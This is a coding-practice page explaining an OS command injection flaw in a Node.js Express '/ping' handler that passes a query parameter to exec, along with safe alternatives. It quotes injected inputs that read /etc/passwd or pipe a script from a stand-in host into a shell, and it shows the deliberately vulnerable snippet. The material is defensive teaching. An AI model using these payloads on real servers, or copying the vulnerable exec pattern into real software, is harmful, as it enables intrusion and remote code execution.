CodePark/ questions / Injection attacks
START PRACTICINGPRACTICE
Backend question · Auth & security › Injection attacks

What is the vulnerability here, and how do you run external programs safely from Node?

const { exec } = require("node:child_process");

app.get("/ping", (req, res) => {
  exec(`ping -c 1 ${req.query.host}`, (err, out) => res.send(out));
});

The vulnerability is OS command injection. exec runs the string through a shell, so shell metacharacters (special characters like ; and $()) in the input become commands. For example, a request with host=8.8.8.8; cat /etc/passwd or $(curl evil.sh | sh) runs any code the attacker wants, with the server's privileges.

To run external programs safely:

  • First, avoid running a shell when a library or built-in API can do the job.
  • If you must run a program, use execFile or spawn with an array of arguments and without shell: true. The input is then passed as one argument, and no shell ever parses it.
  • Validate the input against a strict allowlist. Here, that is a hostname or IP pattern.
  • Block argument injection by rejecting values that start with -. Otherwise the input could be read as an option flag.
  • Run the process as a least-privilege user (one with only the permissions it needs), with a timeout.
  • exec passes the string to a shell.
  • Metacharacters like ; and $() run extra commands.
  • Prefer libraries over running a shell.
  • Use execFile or spawn with an argument array, and no shell.
  • Validate with an allowlist and reject arguments that start with a dash.